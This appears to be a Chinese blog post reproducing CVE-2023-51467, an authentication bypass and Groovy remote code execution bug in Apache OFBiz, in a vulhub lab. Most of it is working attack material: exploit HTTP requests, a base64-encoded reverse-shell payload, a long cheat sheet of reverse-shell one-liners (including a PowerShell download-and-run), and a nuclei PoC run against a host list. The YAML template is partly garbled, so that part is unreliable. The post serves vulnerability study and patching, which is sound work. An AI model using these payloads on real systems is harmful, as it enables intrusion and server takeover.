免责申明:本文内容为学习笔记分享,仅供技术学习参考,请勿用作违法用途,任何个人和组织利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责,与作者无关!!!
01
—
漏洞名称
Apache OFBiz groovy 远程代码执行漏洞
02
—
漏洞影响
Apache OFBiz < 18.12.11
03
—
漏洞描述
Apache OFBiz是一个电子商务平台,用于构建大中型企业级、跨平台、跨数据库、跨应用服务器的多层、分布式电子商务类应用系统。2023年12月,官方发布新版本修复了 CVE-2023-51467 Apache OFBiz groovy 远程代码执行漏洞。攻击者可构造恶意请求绕过身份认证,利用后台相关接口功能执行groovy代码,执行任意命令,控制服务器。这个漏洞的原因是对于CVE-2023-49070的不完全修复。在Apache OFBiz 18.12.10版本中,官方移除了可能导致RCE漏洞的XMLRPC组件,但没有修复权限绕过问题。建议尽快修复漏洞。
04
—
app="Apache_OFBiz"
05
—
靶场搭建
更新vulhub靶场,或者重新下载最新版,上传到靶场机器上,然后解压
https://github.com/vulhub/vulhub
unzip vulhub.zip
启动靶场
cd vulhub-master/ofbiz/CVE-2023-51467
docker-compose up -d
查看容器
访问靶场
https://localhost:8443/accounting
靶场搭建完毕
06
—
漏洞复现
向靶场发送如下数据包,使用Groovy脚本执行id命令(有回显)
POST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
Host: localhost:8443
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded
Content-Length: 55
groovyProgram=throw+new+Exception('id'.execute().text);
漏洞复现成功
07
—
反弹shell
在kali上启动一个监听
nc -lvp 7777
向靶场发送数据包
POST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
Host: 192.168.40.130:8443
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded
Content-Length: 71
groovyProgram='bash+-c+{echo,YmFzaCUyMC1pJTIwPiYlMjAvZGV2L3RjcC8xOTIuMTY4LjQwLjEyOC83Nzc3JTIwMD4mMQ==}|{base64,-d}|{bash,-i}'.execute();
常用反弹shell命令如下:
nc
nc -lvvp 4444
bash
bash -i >& /dev/tcp/172.16.1.130/4444 0>&1
exec 5<>/dev/tcp/172.16.1.130/4444;cat <&5|while read line;do $line >&5 2>&1;done
perl
perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
python
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.31.41",8080));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
php
php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
ruby
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
nc
nc -e /bin/sh 10.0.0.1 1234
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f
nc x.x.x.x 8888|/bin/sh|nc x.x.x.x 9999
java
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do $line 2>&5 >&5; done"] as String[])
p.waitFor()
lua
lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');"
powershell
powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/9a3c747bcf535ef82dc4c5c66aac36db47c2afde/Shells/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 172.16.1.130 -port 4444
加密shell
mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 192.168.0.100:2333 > /tmp/s; rm /tmp/s
08
—
nuclei poc
poc文件内容如下,在本地新建CVE-2023-51467.yaml文件,粘贴进去即可
id: CVE-2023-51467
info:
name: Apache OFBiz groovy 远程代码执行漏洞
author: fgz
severity: critical
description: Apache OFBiz是一个电子商务平台,用于构建大中型企业级、跨平台、跨数据库、跨应用服务器的多层、分布式电子商务类应用系统。2023年12月,官方发布新版本修复了 CVE-2023-51467 Apache OFBiz groovy 远程代码执行漏洞。攻击者可构造恶意请求绕过身份认证,利用后台相关接口功能执行groovy代码,执行任意命令,控制服务器。这个漏洞的原因是对于CVE-2023-49070的不完全修复。在Apache OFBiz 18.12.10版本中,官方移除了可能导致RCE漏洞的XMLRPC组件,但没有修复权限绕过问题。建议尽快修复漏洞。
metadata:
1 :
app="Apache_OFBiz" :
verified: true
requests:
raw:
|+
POST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
Host: {{Hostname}}
Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 :
Accept: */*
zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 :
application/x-www-form-urlencoded :
48 :
groovyProgram='curl+{{interactsh-url}}'.execute();
matchers:
type: dsl
dsl:
contains(interactsh_protocol, "dns")
condition: and
运行POC
.nuclei.exe -t mypoc/apache/CVE-2023-51467.yaml -l data/Apache_OFBiz.txt
09
—
修复建议
升级到最新版本。
10
—
原文始发于微信公众号(AI与网安):CVE-2023-51467 附poc exp
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论